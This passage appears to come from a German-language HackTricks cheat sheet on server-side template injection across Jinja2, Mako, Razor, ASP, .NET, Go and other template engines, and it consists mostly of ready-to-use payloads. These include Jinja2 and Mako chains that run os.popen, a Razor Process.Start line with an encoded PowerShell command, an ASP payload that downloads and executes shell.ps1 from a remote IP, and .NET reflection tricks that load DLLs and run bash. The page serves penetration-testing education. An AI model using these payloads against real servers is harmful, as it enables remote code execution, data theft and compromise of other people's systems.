{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Weitere Informationen

Jinja2 (Python)

Official website

Jinja2 ist eine voll ausgestattete Template-Engine für Python. Sie bietet vollständige Unicode-Unterstützung, eine optional integrierte, abgeschirmte Ausführungsumgebung, ist weit verbreitet und BSD-lizenziert.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Vorlagenformat

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE nicht abhängig von __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Weitere Details dazu, wie man Jinja ausnutzt:

Jinja2 SSTI

Weitere payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Weitere Informationen

Andere Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Die .NET System.Diagnostics.Process.Start-Methode kann verwendet werden, um einen beliebigen Prozess auf dem Server zu starten und so eine Webshell zu erstellen. Ein verwundbares Webapp-Beispiel finden Sie unter https://github.com/cnotin/RazorVulnerableApp

Weitere Informationen

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nichts
  • <%= response.write(date()) %> = <Datum>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Weitere Informationen

.Net Einschränkungen umgehen

Die .NET Reflection-Mechanismen können verwendet werden, um blacklisting zu umgehen oder Klassen zugänglich zu machen, die nicht in der Assembly vorhanden sind. DLL’s können zur Laufzeit geladen werden, wobei Methoden und Eigenschaften von einfachen Objekten aus zugänglich sind.

Dll’s können wie folgt geladen werden:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - vom Dateisystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - direkt aus der Anfrage.

Vollständige Kommandoausführung:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Weitere Informationen

Mojolicious (Perl)

Auch wenn es perl ist, verwendet es Tags wie ERB in Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

In Go’s Template-Engine lässt sich die Nutzung mit bestimmten Payloads bestätigen:

  • {{ . }}: Gibt die eingehende Datenstruktur aus. Zum Beispiel, wenn ein Objekt mit einem Password-Attribut übergeben wird, könnte {{ .Password }} dieses offenlegen.
  • {{printf "%s" "ssti" }}: Sollte den String “ssti” anzeigen.
  • {{html "ssti"}}, {{js "ssti"}}: Diese Payloads sollten “ssti” zurückgeben, ohne “html” oder “js” anzuhängen. Weitere Direktiven lassen sich in der Go-Dokumentation here nachlesen.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

Mit dem text/template-Package ist XSS oft trivial, indem der Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das html/template-Package die Ausgabe, um dies zu verhindern (z. B. ergibt {{"<script>alert(1)</script>"}} &lt;script&gt;alert(1)&lt;/script&gt;). Dennoch kann die Definition und der Aufruf von Templates in Go diese Kodierung umgehen: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Exploitation

RCE-Ausnutzung unterscheidet sich deutlich zwischen html/template und text/template. Das Modul text/template erlaubt das direkte Aufrufen beliebiger öffentlicher Funktionen (mittels des “call”-Werts), was in html/template nicht erlaubt ist. Dokumentation für diese Module ist verfügbar here for html/template und here for text/template.

Für RCE via SSTI in Go können Objektmethoden aufgerufen werden. Zum Beispiel, wenn das übergebene Objekt eine System-Methode hat, die Befehle ausführt, kann diese wie {{ .System "ls" }} ausgenutzt werden. In der Regel ist der Zugriff auf den Quellcode erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Weitere Informationen

LESS (CSS-Präprozessor)

LESS ist ein populärer CSS-Präprozessor, der Variablen, Mixins, Funktionen und die mächtige Direktive @import hinzufügt. Während der Kompilierung wird die LESS-Engine die in @import-Anweisungen referenzierten Ressourcen abrufen und deren Inhalt in das resultierende CSS einbetten (“inline”), wenn die (inline)-Option verwendet wird.

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

Weitere Exploits

Sieh dir den Rest von https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection für weitere Exploits an. Außerdem findest du interessante Informationen zu Tags in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Verwandte Hilfe

Wenn du denkst, es könnte nützlich sein, lies:

Tools

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks